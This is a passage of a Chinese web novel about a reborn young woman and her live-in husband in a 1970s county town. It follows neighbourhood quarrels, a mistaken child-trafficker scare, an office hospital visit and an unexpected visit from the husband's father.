接着他又沿着巷子走了一圈，路过有开着院门的人家，他就稍微停一停，在院外远远的去瞧人家院里的构造。 余嘉祥最终确定整条胡同的人家院里都跟马老太太家的构造差不多。 讲究点的人家的灶房是用砖头砌的，上面还铺了瓦片，不讲究的就是像马老太太家那样，囫囵用些废弃的木材靠着墙根搭间小屋子。 没有一家像他们家这样，奢侈的用了四分之一左右的房子，把能住人的房子给隔出来一小部分当灶房的。 回到家里，钟莹莹已经吃好了饭，并顺手洗了碗，收拾完行囊准备出发了。 自行车的把手上挂了一大串东西，余嘉祥就这么推着它出了院子。 供销社今儿来了新货，他俩没跑空，钟莹莹十分大方的要了三斤水果糖，和两包桃酥。 用的糖票有一部分是她以前攒的，更大的一部分确是从单位财务科那块领的。 单位有规定，夫妻两个都在局里工作的，领结婚证可以去财务科领五块钱和一张两市斤糖票的福利。 当时钟莹莹就感慨，这个年代虽然资源匮乏，没啥好吃的好玩的，但是人家员工福利做的是真的棒。 员工的生老病死，乃至员工家里人的事情，单位和工会都会实打实的去管。 “娘，我回来了～” 一进家门，钟莹莹就亲亲热热的找到陈显英，揽住了她的胳膊。 “回就回来了，咋还跟小时候一样，一回家就找娘呢？堂屋里村里那些长辈都还在呢，别跟娘在灶房里窝着，把你带的那些喜糖，都给他们发一发。” “手不要太大啊，要算着数来，村里有多少人你心里门清～” “要是不知道咋发，让你爹发也成。” 不是陈显英不想出去带着她迎客，是她实在没时间。 今儿个家里来的客人特别多，她要跟着她儿媳妇张罗好几桌饭菜。 虽说现在不兴办酒席，但是村里的至亲们一块吃顿便饭，外人也是管不着的。 “嗯，娘，我知道了。” “一会儿我先把糖拿了给婶子们发喽～你们今天都辛苦啦～”钟莹莹对着灶房里的几位邻家婶子笑容灿烂。 老楚媳妇帮着切肉呢，闻言也笑着说：“不辛苦，不辛苦，都邻里邻居的，互相照看着辛苦个啥？” “就是这时间过的可真快啊，我还记着当是你娘生你的时候，你跟那小猫崽子似的，隔好长时间才哼哼两声。” “秀秀爷爷还说，像你这样的娃娃指定养不活，还说养大了也是个矮子。” “你娘当时就给那老不死的撅回去了，我也想骂他来着，可我没敢。” 其他帮着干活的婶子听她说这话，顿时哄笑成一团。 “哈哈哈哈哈哈～老楚媳妇，你这也太怂了～” “对啊，对啊，不就一个死老头子吗？他为老不尊，咱们这些当人儿媳妇的就该让他见识见识花儿为什么那样红！” 她们这些人当中也确实只有老楚媳妇性子最弱，其他人年轻时都是跟公婆一路斗争过来的。 钟莹莹跟余嘉祥发喜糖的时间不是很凑巧，村里有些娃娃在县里读书没回来。 他们现在勤奋的很，为了考中专高中，连周六日放假也不回家，一门心思待在学校冲刺。 钟新澄那小子也到了关键时刻，他爱玩，平常成绩忽高忽低的，马上就要到他人生中的第一次大考了，他紧张的很，钟莹莹就没喊他回来。 对这个侄子她有些惆怅，孩子有上进心是好的，奈何他生不逢时啊，明年高考就要取消，这孩子读了高中也无处可去。 而下次恢复高考，就要等十年后了，那时候人生最美好的十年过去了，有几个人在三十岁、有家有室的时候，还能有精力再次参加考高考？ 这孩子喜欢的机械设计最终也只能成为空谈。 要是能有机会联系上邓工把他给收走就好了，但是这个想法钟莹莹也只能想想了，她知道是不可能的。 上辈子邓荣再次在人前露面，已经是家家户户都有大彩电的时间了。 钟新澄等到那个时候，没准头发都没几根黑的了。 回家晃悠一趟，就拿了些糖和糕点，走的时候，钟莹莹却是又背了一大背篓的东西在身上。 而且不光她身上背了东西，车子上能挂东西的地方也被她娘挂满了。 她本来是想在村里过个夜再回城里的，但是陈显英得知她跟余嘉祥睡了个素觉后，就把俩人给赶回城去，美名其曰单独相处才能处出来感情，哪有小夫妻结了婚以后还黏着自家老娘的。 …… “家里的灶房我知道该怎么整，不用在院里砌！” “咱们给煤炉子上面接一根管子当烟囱就成！这样不用开窗烟也能排到窗户外面去。” “我上废品回收站看看有没有铁皮或着废铁桶卖，莹莹你跟我一道去还是回家里等着去？” 在看了周围邻居家的房屋布局后，余嘉祥对自家灶房的改造就已经有了初步想法。 他家就他跟钟莹莹两个人，爹娘或者哥嫂来了跟莹莹住里屋，他在堂屋打地铺就成。 家里的布局爹娘安排的就是最合适的。 本来家里的院子就小，种上菜以后辣椒苗啥长得不高也不挡路，另一侧搭的黄瓜架子用竹竿搭的那老高，那指定不会少长，如果给拐角再建个灶房出来，不知道整个院子要逼仄成什么样。 “我不去，你自己去吧！”刚进胡同，钟莹莹就已经看到了她想看的热闹，甚至她都还没听清余嘉祥的话呢，人已经走到了四眼家门口。 媳妇跑了，那一车子村里的农货还有背篓中的干菜还在原地，余嘉祥只能叹了一口气，任任劳任怨的把东西都提进屋里收拾好了，才骑着车去了废品站。 对于四眼家的热闹他不太敢兴趣，左右不过是那些家长里短的事情，说来说去都那样。 他觉着还是先把自己的小家给顾好比较重要。 家里的煤炉子要改造，家里的水缸也得改进一下，缸太小，用水一点也不方便，余嘉祥要做的事情太多太多了，他实在腾不出一丝空来。 …… “你干什么？这都是我儿子的东西，你想干什么？”一个衣服上打着一摞补丁的老妇人跟一个抱了一大摞东西的健壮妇女撕打在一起。 “我呸～什么你儿子？你要找儿子上医院找去，来我家做什么？你那个窝囊废儿子以前就没能耐，现在更是连个男人都不是了，我要跟他离婚，让他滚回乡下去！” 朱文芯这辈子最恨的就是当初结婚结的仓促，没打听好这个四眼家里是个什么情况。 等她知道四眼是逼死了前妻和几个孩子娶她的时候，她肚里已经怀里孩子。 要不是为了孩子，以及四眼那仨瓜俩枣的工资，她早就把四眼踹了。 现在四眼人废了，拿的工资都不一定够治病的，她再不跑还要等到什么时候？ 还有这个老东西，以前看不上她闺女，骂她闺女赔钱货，这下好了，她继承香火的好大儿连个鸡儿都没有了，让她抱着他的香火过去吧！ “不行，你不能走！你把东西给我留下！” “我不留你能拿我怎么样？” “你要走也行，你把妍妍给我留下，她姓郭，是我郭家的孩子！”老太婆撕巴了一阵，见实在撕不过朱文芯，又转头想去抢孩子。 以前她是瞧不上这个丫头片子，可现在她儿子不是不行了吗？留这个孩子搁家里招赘，也能给家里的香火续上。 “我屮嫩爹，你敢打我闺女的主意，老不死的，你是真想死啊！”朱文芯直接丢掉手上的东西，拽着老太婆的头发就啪啪啪的扇了她几个大嘴巴子。 她闺女在边上看着她娘打她奶奶，眼神都直了。 钟莹莹在小姑娘边上也跟着目不转晴的盯着面前的这场婆媳大战看。 老东西终究是老东西，身子骨已经酥了，被朱文芯三两下就给扇的找不着北了。 边上的邻居听见动静，都来了四眼家的院里。 钟莹莹家的邻居马老太太一看朱文芯骑在四眼老娘的身上扇她巴掌，立马就捂住眼睛，跺了跺脚道：“造孽啊～儿媳打婆婆，要遭天打雷劈的哟～你们还不快去把她俩给拉开～” 她一直在说，可边上一直没人动弹。 朱文芯在胡同里住了四年，周遭四邻都是见识过她的手段的，谁也不想管她的闲事给自己惹的一身骚。 马老太太自己要去，可想了想她又面带愁容的缩回了小脚。 她这一身的老骨头，上去劝架，万一那混不吝的一上头，把自己也给打了怎么办？ 老太太愁啊，她视线在周围转了一圈，终于看见了钟莹莹这个新面孔。 “小姑娘哦～你跟这家什么关系啊？怎么看见四眼娘跟妍妍娘打起来了也不上去拉架哦～” 马老太太这是把钟莹莹当成四眼家亲戚了。 钟莹莹自己都不敢置信，她就看个热闹，都能叫人给波及进热闹中去。 第170章 “老太太，你说我？”钟莹莹指着自己的鼻子“我都不认识她俩你让我上去拉架？你说拉架你怎么不上去拉？” “你不认识她俩你在这看什么热闹？”马老太太怀疑钟莹莹是不想干活，故意在说谎。 她问钟莹莹边上那小姑娘：“妍妍，你认得这个姐姐吗？” 小姑娘摇摇头：“太太，我不寄到。” 马老太太狐疑道：“你真不知道？” 小姑娘用力的点点头：“嗯！” “你不是四眼家的，那你是打哪来的？我在胡同里没见过你这号人啊？” 老太太朝着小姑娘伸手：“妍妍你过来，来太太这里来。*” “哦～”小姑娘慢吞吞的从地上爬起来，还没走到老太太跟前，就被她一把扯到身后护了起来。 之后她又用一副凶巴巴的模样对着钟莹莹：“说，你来我们胡同有什么目的？” “我告诉你啊，我们胡同人多着呢！你要是想拐孩子，那你是来错地方了！” 马老太太的声音引得其他看热闹的人把视线都转移了过来。 “马老太太，出什么事了？”看热闹的人有些不知所以然。 马老太太：“这个姑娘面生，我没见过，她刚刚还跟妍妍蹲在一起，我问妍妍了，妍妍也不认识她，我怀疑她事拐子！” “什么？拐子？” 人群顿时如同炸开了锅一样，一时之间所有人都把目光放到了钟莹莹身上。 如果钟莹莹不能给出一个合理的解释，恐怕这些人会立马一拥而上，直接将她给制服。 “老太太，我是前不久刚搬来这边的，就住你家隔壁，我家是13号。”这都叫什么事啊，看个热闹还能被人当人贩子防备了。 “真的？那你跟小余是什么关系？” “嘉祥他是我丈夫，我俩都在人事局档案室上班，徐主任是我们上司。” 这些事情从他们住到桂花胡同以后，就注定不是秘密，马老太太随便找个人打听都能打听的到。 马老太太自言自语小声嘀咕道：“小余是叫什么家祥来着，她应该没骗我。” 但她仍旧心存疑虑，她问钟莹莹：“你大晚上的不回家，在这干什么？” “我刚从娘家回来，听这边有人吵架，过来看看是干嘛的，大家伙儿不都在这吗？” 牵扯到孩子，四眼娘跟朱文芯也不打了，四眼娘鼻青脸肿的一股脑从地上爬起来，虎视眈眈的盯着钟莹莹。 朱文芯则是从马老太太身后把孩子抱了起来，用跟四眼娘如出一辙的凶恶眼神望着钟莹莹。 “你说你在档案室上班，那你认得四眼吗？” 钟莹莹装傻道：“我认得啊，他的工位就在我边上，怎么？他也住这？” “莹莹，回家了！” 就在这时，去废品站买东西的余嘉祥让人拉着一板车的东西进了胡同。 把货卸进院子后，他见钟莹莹还没回来，便出来喊她。 “我不跟你们说了，嘉祥喊我了，我得回家了。” 钟莹莹来是看热闹的，可不是想被人当热闹看的。 眼睁睁见着钟莹莹推开自家隔壁的院门走了进去，马老太太这才敢相信，方才是她误会了。 “都散了吧，是我老太太人老眼花认错人了～” 唉～既然不是拐子，她这不是得罪人了吗？ 邻里邻居的，等回家她得好好想想怎么给人家赔罪。 马老太太的初心是想让钟莹莹帮着劝一劝架，这误打误撞的倒也达成了目的。 “你怎么买这么多东西回来？” 钟莹莹一进自家院子就见着了地上的那一堆破烂，有粗管子有细管子，还有各种各样的铁片子，夸张的是那堆东西边上还有一口大缸。 那缸崭新崭新的，看上去就不像是废品站会有的东西。 “这不多了，等我把它们给组好了你就知道妙处了。” “哦，对了，这水缸是我碰见有窑厂的人拉货给供销社，我就租了板车让人给送家里来了。” “爹娘给放屋里的那缸太小，咱俩又都爱干净，晚上去水井那打水也不安全，这个大的放院子里，上面做个木头盖子，用来洗澡，下雨也不怕。” 钟莹莹：“那确实蛮好的。” “要是我们这也能通自来水就好了！这样也不用咱俩每天费劲吧啦的去提水来家里，还没用几瓢，那缸又空了！” 市里很多单位以及通了自来水，就是不知道这东西普及到她们县里还需要多少年。 “没自来水也没事，你看！”余嘉祥在那堆废品里面挑挑拣拣，然后飞快的用这堆破烂拼凑出一辆小的手推车。 “等挑水的时候，我把水桶放到这上面，只用拉着这小车的把手给它拖回家就行，一点也不费力。” “用这个担水就比自来水慢一点点，平常咱俩上供销社和菜市街买东西的时候，骑自行车不方便，拉这个车就省力许多。” 余嘉祥在钟莹莹面前一一条条罗列他面前的这小破车的优点。 随着他的娓娓道来，钟莹莹确实也喜欢上了这个小车，她凑到余嘉祥边上蹲下来，轻轻捏着余嘉祥的腮帮子，给他的脸挤成各种奇形怪状。 “你怎么这么聪明，什么都会啊？” “要是没有你，我一个人在这都不知道怎么办了～” “我也不知道上辈子做了什么好事，积了那么大的德，这辈子能跟你处对象。” “……” 她的好听话是一句接一句，像不要钱似得往外冒，直给余嘉祥夸的耳朵都红了。 “我没你说的这么好，这些都是在我舅舅家跟我舅舅学的。” 钟莹莹一听他说这话，立马义正严辞道：“我不允许你自轻自贱，你这样的就是很好。” “可我爹以前说，我这是不务正业……” 余嘉祥每每想到他以前的生活，就忍不住心情低落。 以前他住他舅舅家，总能接触到各种乱七八糟的零件，他很喜欢拿那些东西拼东西，可他爹见了总骂他不好好读书，长大也没出息。 虽然他自己告诫自己，他爹说的话他没必要这么在意。 但是对于孩童时期的他，那种来自大人的权威压迫始终是无法磨灭的感触。 “你别听他胡说八道，什么叫不务正业？啥叫正业？农村人种地叫不叫正业？供销社的售货员卖货叫不叫正业？难不成只有坐在政府大楼里面，穿中山装，拿公文包叫正业？” “只要努力生活，凭借自己的双手奋斗，就是正业。” “你觉得我从池省大学回到县里，安居一隅，在人事局找了个六天晒网，可能还没一天打渔的工作叫不叫不务正业？” 余嘉祥否认道：“没有，我没有这样认为。” “这不就对了吗？我这样的都不是不误正业，你在家里能干这么多活，你还会打毛衣，会做小车……你这叫多才多艺啊！” 以前钟莹莹跟余嘉祥的那个爹是同一种人，不符合主流的人她就认为那是不正确的。 但死过一回了，她才深刻的体会到，什么狗屁不务正业。 她的正业就是每天快快乐乐的生活，一切能促进她得到这种生活的工作就是她的正业。 ‘咚咚咚～’ 院子外有人敲门，钟莹莹站起身来，用一种搞怪的语气对余嘉祥道：“唉朋友～放宽心啦，你现在都赘到我家过新生活啦，好好当你的赘婿就是你现在最大的正业，咱们俩把日子过好比什么都重要。” “你……马老太太，你有什么事吗？”钟莹莹望着门口站着的马老太太，脸上是压制不住的讶异。 方才这人还冤枉自己是人贩子呢，这会儿她又端个碗上自己家来也不知道是做什么。 马老太太也觉得很尴尬，看着钟莹莹的表情，她都恨不得脚底下能出现一个洞，叫她藏进去才好。 不过一码归一码，她做错了事，冤枉了人家小姑娘，她就得道歉。 “小姑娘，今天我冤枉你是我老太太不对，我来给你赔罪来了。” “这是我家的鸡下的蛋，你拿去吃！” 给出这两颗鸡蛋时，马老太太的心那叫一个痛啊，但再不舍，她也把鸡蛋塞给了钟莹莹。 拿着鸡蛋的钟莹莹先是茫然了一瞬间，接着就要去拉马老太太：“哎呦～老太太，使不得，使不得，你也是好心，我不能拿你的鸡蛋。” “俗话说的好，家有一老如有一宝，有您在我们胡同里帮忙管管事情，咱们睡觉都睡的安心些。” 对于马老太太冤枉自己的事，钟莹莹一开始是不高兴的，但是一想到她为了维护胡同里的孩子，能在她这么个‘身强体壮’的年轻人面前挺身而出，钟莹莹心里的气就消了。 社会上多一些像马老太太这样的人，那些被拐的孩子也能多一条生路。 “你拿着，我老太太做错了就是错了，没有规矩不成方圆。” 马老太太死活不愿意把鸡蛋拿回去，钟莹莹只能把鸡蛋拿回院里关上了门。 “这邻居家老太太还挺有意思的，一是一，二是二。”敢做敢当，能屈能伸。 钟莹莹也不是没遇见过被人冤枉的情况，但那些人要么死鸭子嘴硬死活不肯道歉，要么道歉也是不情不愿的。 马老太太这样的，她还是第一次见。 冤枉人冤枉的利索，道歉低头低的也特快。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 170-180 第171章 “咱们这胡同里，有意思的人可不少。” 余嘉祥之前溜达时，就把周围全都逛了一遍。 这块住的不仅有他们办公室的人，更多的还是局里其他部门的人。 马老太太家的房子住的人是这里住的所有人家当中最多的。 周一上班时，徐主任果然如同钟莹莹预料之中的要召集同事们下了班一块过去慰问四眼。 钟莹莹一开始有些心疼钱票，不想去来着。 但她实在又是抓心挠肝的想看一下四眼的惨状，最后在张姐的提醒下，她带着余嘉祥一块到供销社称了半斤的荞麦饼干聊表心意。 这个饼干是供销社里销量最高，也最难吃的小零嘴。 为啥销量高呢，因为它便宜还不要票。 买半包桃酥的钱和票都够换两斤荞麦饼干的了。 张姐跟钟莹莹他们一样，买的都是荞麦饼干。 本身他们和四眼就不是很对付，就算大出血给四眼买好东西，没准人家背后也会骂他们傻叉呢。 王姐和阿萍依旧不见踪迹，徐主任没说，王姐他们也没提。 这让钟莹莹很是好奇这俩人究竟干嘛去了。 “四眼啊～主任带着同事们看你来了，你这还好吗？到底是谁啊，那么见不得人好，给咱们四眼伤成这样？” 张姐一进病房就给四眼表演了个哭丧，干嚎不见眼泪的那种。 主任把他自己带来的黄桃罐头放到四眼的床头，用一种惋惜的口气道：“四眼，你放心，你的事组织上已经知道了，单位不会不管你的。” “你就安心在医院好好修养吧，不要担心工作上的事。” 张姐也跟着附和道：“对啊，对啊，姐办事你放心，你的工作都包在姐身上了。” 要说四眼受伤住院单位最开心的是谁，那指定非张姐莫属了。 整个办公室有能力跟她竞争继主任之位的只有四眼跟阴阳男，他俩平日里蛇鼠一窝。 现在四眼废了，只剩下一个阴阳男。 张姐心里要笑开了花。 她还没有打过如这般富裕的仗，办公室里除了主任，其他人都跟她要好，那阴阳怪气的狗东西拿什么跟她争？ “主任～” 四眼泪眼汪汪的握住徐主任的手。 原本他只有身体上的痛，但张姐那番话一出，他的心也不由得揪起来。 呜呜呜～他舔了主任那么久。 好不容易看见希望的曙光，离主任退休就差那么一点时间了。 怎么偏偏这个时候他出了事呢？ 徐主任叹了一口气：“四眼啊，你也别太难过，你这事大家都不想的。” “现如今的当务之急就是你得好好回想一下，你哪天到底是怎么受伤的，那贼人究竟是谁？不然人家公安同志也不好抓人啊！” 四眼愤恨不已的捶床道：“我真不知道啊，那天我在家待的好好的，就这么眼前一黑，然后等我反应过来时，我……” “嘶～”由于四眼的情绪太过激动，剧烈的动作牵扯到身下的伤口，四眼不由得倒吸一口凉气。 他想弓起身子去捂下面，可是只要微微一动作，身上就痛的厉害。 病房里全是单位的同事，四眼不想让别人看自己笑话。 便只能强撑着攥紧了拳头，默默的忍着疼痛。 他以为自己掩饰的很好，殊不知他额角暴起的青筋，以及被汗水打湿的头发，还有苍白开裂的嘴唇，无一不向众人昭示着他的难耐。 徐主任看他这个样子，再联想到他的伤处，忽然也觉得自己某处凉凉的。 四眼这伤的那么诡异，他来之前就已有耳闻，连公安的刑侦都没侦查出凶手。 没准逍遥法外的凶手正在医院附近盯着四眼呢，他可听说了，那些个变态的人在犯了案之后，最喜欢的就是返回案发现场，欣赏自己的‘作品’。 徐主任的思维发散的厉害，如今罪犯还没抓到，他们跟四眼又走的那么近，万一那变态盯上自己。 徐主任不敢再继续深想下去，他害怕自己再想，没准就要从病房里落荒而逃了。 “好好好，你先别激动，想不出来就别想了，你要相信我们的公安同志啊。” “身体要紧，四眼你要好好保重身体，上面领导最近要下来视察，单位还有事情，我就不多留了，这床头的黄桃罐头你记得吃啊。” “嗯，还有姐跟莹莹嘉祥他们买的荞麦饼干，无油无糖的，医生说吃了这个不会影响你的伤口恢复，你要是饿了的话，没事可以嚼两口。”张姐跟着补充道。 “对，四眼你好好休养，等伤口养好了再回来上班也不迟。” “这是工会托我给你送来的慰问金，钱不多，都是大家伙的一片心意，四眼你拿好。” 小李从随身携带的公文包里掏出一个信封，郑重的放到了躺在病床上的四眼手中。 “我……”四眼收下信封后，望望小李还有张姐几人，又望望钟莹莹跟余嘉祥。 最后又看了看跟一向和自己交好，但这次却空着手来的阴阳男。 忽然不知道该说些什么才好了。 跟自己不和，甚至前不久刚干过一架的人给自己送来了饼干。 跟自己统一战线，天天干什么都在一起的人却…… 阴阳男见四眼一直眼神直勾勾的盯着自己，也寻摸出几分不对劲出来了。 他本来是想着跟着其他同事一块浑水摸鱼，如果其他人不说东西谁是谁的，那他就装作自己是跟其他人合买了慰问品。 谁知张姐这个死女人一上来就把他们每个人买的东西都介绍了个清清楚楚，就是没带上他。 小心思被暴露在人前的阴阳男只觉得如芒在背，周围人好似都在用异样的眼光看着自己。 阴阳男承受不住压力，从上衣兜里掏出一张票来，尴尬的笑了笑：“你们瞧我这记性，差点把要送给四眼的东西都给忘了。” “四眼，哥家里有事，来的匆忙，没来得及上供销社给你买东西，这是你嫂子给我的红糖票，本来是她留着给孩子和糖水补营养的，这不，一听到你住院了，她就让我把票拿来给你了！” 钟莹莹都想朝他翻个大白眼了，哪有送人家东西，还要强调这是给自家孩子准备的，打从一开始这送礼送的就不真诚。 要是搁一般人一听这是人家给孩子留的，大概率一脸红直接就不好意思的推拒了。 但四眼哪是一般人啊？他能跟阴阳男混在一起，那只能说是二者臭味相投。 阴阳男抠搜的不想送礼，四眼这种同样抠搜的人会拒绝阴阳男吗？当然不会。 “谢谢雷哥！你有心了！” 他已经竞争主任无望了，那跟阴阳男结成的同盟自然而然的也就散去了。 张姐走马上任后，他更不可能再跟阴阳男待在一起了。 此时再不从他手里捞点好处，那等回单位就更别想了。 四眼对那张红糖票的渴望甚至超过了身体上的疼痛，他身体前倾一把就夺去了阴阳男手中的票。 等把票塞到枕头底下，他才颤抖着身子又躺回了原地。 阴阳男一时不察，被他夺走了票，瞳孔剧烈颤抖，将将要伸手去夺回自己的票据，但是又看见身边的同事们，只能猛的一下子又缩回了手，脸难看的要命。 在回家的路上，钟莹莹笑的肚子都要疼了。 “嘉祥，你刚刚看了那阴阳鬼的脸色了吗？真的笑死我了！我还没见过脸变的比他还快的呢～那四眼也是逗，他俩这是要翻脸的节奏啊，也不知道等四眼伤养好了回单位他俩还能不能继续再当好哥俩？” “好了，别笑了，走路要看路！”余嘉祥伸手替钟莹莹拦住了一个到处乱跑即将要撞到她的小朋友。 钟莹莹不以为意：“我走的慢，这又是在胡同里，又没有车子，有什么关系。” 他们自己的车子还是推着的呢，眼前这个小娃娃只是个意外。 “哟～这不马老太太的孙子吗？” 钟莹莹一瞧，就认出了这个差点撞到自己的小孩。 自打之前被马老太太当成人贩子防备之后，她跟马老太太就如同不打不相识一般，飞速的熟悉了起来。 马老太太家有几口人，分别是谁谁谁，现在她也混了个脸熟。 小男孩认出钟莹莹，咧开嘴，露出一口豁牙，面带笑容的喊：“莹莹姐姐～” “瞅这小嘴甜的。”钟莹莹捏了捏他的小脸蛋，然后道：“下次再巷子里记得不要跑那么快来，听见了没有？” “撞到姐姐没事，要是撞到跟你奶奶年纪一样大的老太太，把人给撞坏了就不好了。” 巷子里各家各户的小院，除了钟莹莹这一户，其他户的人家基本上都是一大家子住在一起的。 这小家伙到处疯跑着玩，一天两天的没事，时间长了肯定要出问题的。 “嗯，我记得了。”小男孩点点头，随即他又像是想起了什么一般，嗦着自己的手指，口齿不清的对钟莹莹道：“姐姐，你家门口有叔叔等你呢，你快回家看看叭～” “叔叔？” 钟莹莹心想，难不成是她爹来了？可这小毛孩也不像是会喊她爹叔叔的样子，还是说来人是她哥？ 她哥天天在村里忙的要死，也没功夫往她这跑啊。 除了她爹和她哥外，钟莹莹想不到还有其他异性会来找她。 第172章 余嘉祥看见自家门口站着的人，不敢置信的喊了一声：“爹？” 钟莹莹循着他的声音望过去，恰巧小院门口的中年男人也转过身来。 那人生的高大，模样跟余嘉祥有七八成相似，只不过眼角带着些许风霜。 钟莹莹看着他就能够想象的出余嘉祥中年时期的样貌。 不错，老了也不丑不油腻，没有脏臭感。 “不请我进去坐坐吗？” 余华容声音淡漠，看似冷静，实则已经没招了。 天晓得他见市里的高校开始乱起来了，去省里找儿子，却被告知儿子已经提前离校，且都找好工作，开始上班有一段时间了后，有多崩溃。 他一路找一路问，最后去调了档案，发现工作只是开胃菜，重头戏在后面呢。 他儿子都领证结婚了，他这个当爹的竟然一点风声都没收到，属实是厉害。 进到屋里，钟莹莹给余华容搬来了板凳。 “叔，您坐，我出去买菜，让嘉祥给您烧水泡茶！” 好歹是余嘉祥的亲爹，虽然钟莹莹不甚喜欢他，但是自己拐跑了他儿子，该有的礼节还是要有的。 她跟余华容打了声招呼，就头也不回的溜走了，很没义气的只留下了余嘉祥自己个儿面对他爹。 余华容心中有气，但是也没对钟莹莹发火。 在他心里，钟莹莹只是个被他儿子无辜拐骗的姑娘而已。 毕竟如果不是被哄骗，有哪家的闺女愿意无媒无聘的嫁给别人。 * “你好，今晚上店里有什么菜？” “葱烧咸鱼、韭菜炒鸡蛋、糖醋小排，其他没了，你要什么？” “一样给我来一份，用这个装。”钟莹莹从身上背着的布包里掏出来三个铁饭盒。 “有米饭吗？” “没有，今天蒸的是馒头。” “那给我来五个馒头，打包。” 国营饭店的馒头做的瓷实，还是晚上，钟莹莹感觉自己应该吃一个就饱了。 至于余家父子俩，余嘉祥敞开了吃也就只能吃俩大馒头，姑且算他爹跟他一个饭量吧。 如果不够吃，家里还有炒面，加点红糖和大枣，开水一冲，再掰块桃酥或者扔把馓子，也能混个水饱。 买完饭，钟莹莹看时间还早，就把饭盒和用油纸包着的馒头都借着布包的遮掩，悄然丢进空间里保温保鲜，她自己则是上街溜达去了。 “叔，这个怎么换？” 供销社关门了，县里又只有屁点大，没转一圈呢她就倦了。 正好碰见有人在换桑葚果，虽然钟家岗也有，但远水解不了近渴，她现在就想吃。 “这个数！”大爷伸出一根手指。 “一包吗？”一毛一包指定是贵了，大爷背篓里的桑葚果是用桑树叶给包成一包一包的，一包大概有成人巴掌那么大。 “你把叔当成什么人了？我是那样坑人的人吗？” “一毛一斤，这一包是二两。” “呼～那就好，叔你给我来一毛钱的！”钟莹莹十分豪气的让卖东西的大叔给她拿上五包。 “这东西正常不是要等六月才能成熟吗？叔我瞅你这长挺好啊～” 桑葚叶里包着的桑葚果个个紫黑紫黑的，钟莹莹没在里面看见一颗青果。 大爷看她一眼，然后得意扬扬道：“这是我的独门秘诀，我可不能告诉你。” “行行行，我不问了。” 钟莹莹就是随口一问，没那个刨根问底的意思。 钱货两讫后，她从身上的挎包里又掏出一个布袋子来，将五包桑葚果给放进袋子里，给布袋子绑在车把手上，长腿一迈就迈上了二八大杠，蹬着自行车就回家去了。 她骑这个车子不是很在行，只能说能骑，但是稳定性差的要死。 尤其车上还拴着东西，在重物的压制下，她控制车子变得更为困难，好在这个时候路上没几个骑车的，她还算是比较顺利的骑回了胡同口。 在路上的时候她就已经把空间里的饭给取出来放到挎包里了，这会儿推着车一进自家院子，她把车子停好就拎着两个包进了堂屋。 也不知道父子俩怎么交流的，这会儿钟莹莹见他俩已经没有她走之前那般剑拔弩张的氛围了。 余华容的个子不矮，但钟莹莹家的板凳很低，老大个一个人蜷缩着手脚窝在凳子上，眉宇间的锋利都减弱了几分。 “嘉祥，快来把菜端出去，可以开饭了。” 钟莹莹进了灶房把饭盒里的饭都给倒进瓷盘子里，又将馒头也从油纸中拿出来，放进竹编的小篮子里。 最后想了想，她又从墙角的泡菜坛里掏出了一小碟腌渍过的白萝卜条，勉强算是凑了四个菜。 “叔，时间仓促，我这也不太会做饭，您凑合着吃啊～” “等明儿个有时间，我再请您上国营饭店好好吃一顿。” 看着面前忙里忙外的小姑娘，余华容原本平息下的怒气又凭空增添了几分。 余嘉祥把领证的锅都扣自己头上了，现在钟莹莹在他心中完全就是一个受害者的形象。 他强扯出一抹笑容，用最缓和的语气对钟莹莹道：“不用，这菜已经够了，你俩都别忙活了，坐下吃饭吧。” “你叫莹莹是吧？我家这小子没通知家里就哄着你领了证，说到底是我这个当爹的治家不严，我该向你道歉。” 钟莹莹：“我……” 钟莹莹刚要说话就被余华容打断了。 “你先别说，你听我说。” “嘉祥他娘走的早，后来我也没太管过他。他跟他后娘不对付，后面一直住他舅舅家，他虽然性子有些倔，但你放心，他绝对是个好孩子。” “你俩证都领了，木已成舟，我也没别的办法了。” “我来的急，身上没带多少钱，嘉祥没给你的彩礼，等我回市里，我会寄给你的，三转一响一个都不会少。” “我余华容的儿媳妇，说什么也不会比别人差。” 小儿子分给离婚的前妻了，虽然两人现在不清不楚的处着，但终究他的户口挂在了别人的名下。 余华容身边名正言顺的也就只有余嘉祥这个大儿子。 儿子娶媳妇，他这个当爹的一毛不拔，被别人知道了，指不定要怎么笑话他呢。 钟莹莹：“我……” “莹莹，爹给你，你就拿着，别不好意思，这是他这个当爹的应该做的。”余嘉祥给钟莹莹使眼色，让她不要拒绝。 余华容对于这个吃里扒外的儿子简直是没眼看。 “嘉祥说的对，莹莹你就别拒绝了，来，吃菜，菜都凉了～” 终究是自己儿子，余华容没有在儿媳妇面前给他难看。 “莹莹，这一趟我请的假时间不长，明天我就得走了，你看你爹娘什么时候有时间，你让嘉祥这小子给我打电话，到时候我再请假跟他们见一面。” 哪有俩孩子都结婚了，他还没见过亲家公，亲家母的。 “哎呀，爹这事你就别操心了，等回头过年过节的时候，你再来一趟不就好了吗？你个孤家寡人的，在市里过年也没什么意思，我丈母娘丈母爹都是脾气好的，不会嫌弃你个老鳏夫的。” 余华容：“……” 他想跟儿媳妇培养培养感情，这死孩子一直捣乱。 …… “爹，你晚上住我们这还是住招待所？我看你还是上招待所去住吧！我这地方小，你也没地方……嗷～”余嘉祥被钟莹莹拧了一把，控制不住的叫了出来。 “叔你别听他的，家里有地方睡，我爹娘给留了一张折叠床，就是有点小。” “但是住家里总比住招待所干净，想干个啥也方便，您就安心住下来就成。” 她也是服了余嘉祥了，刚从他爹兜里掏完东西，还动不动给人脸色看，哪有这样的？ 余华容斜睨余嘉祥一眼：“好，那叔就听你的。” 他儿子越是不想让自己留下，他就偏要留下，看着他儿子被他留下气的鼻孔都快要冒烟了，余华容倍感心情愉悦。 不高兴就对了，他去池省大学，给老师说要找他儿子，人家一查，他儿子都提前申请毕业，早都跑路了，他比他还要不高兴。 一想到自己那天在学校里被人当猴子似的看了又看，余华容都恨不得给这混小子一拳。 他媳妇不是这性子，他也不是，他都不知道这倒霉孩子是遗传谁了，干的事一件比一件混账。 晚上躺在床上。 余嘉祥小声问钟莹莹：“莹莹，你为什么要让爹住家里啊？”他可是知道，钟莹莹是最讨厌陌生人入侵她的私密空间的。 钟莹莹翻了一个身，背对着他：“他是你爹。” 现在余嘉祥跟他爹心有隔阂，那以后呢？人家终究是亲父子，关系再不好，也不是旁人能比拟的。 钟莹莹不打算掺和进两人间的纷纷扰扰中去，她只是赘了余嘉祥，又不是嫁进了余家。 她也不打算得罪余华容，左右他跟自己又不在一个地方生活，糊弄完这几天，面子上过得去，你好我好大家好。 她心里想的事余嘉祥不知道。 此刻他正感动着呢。 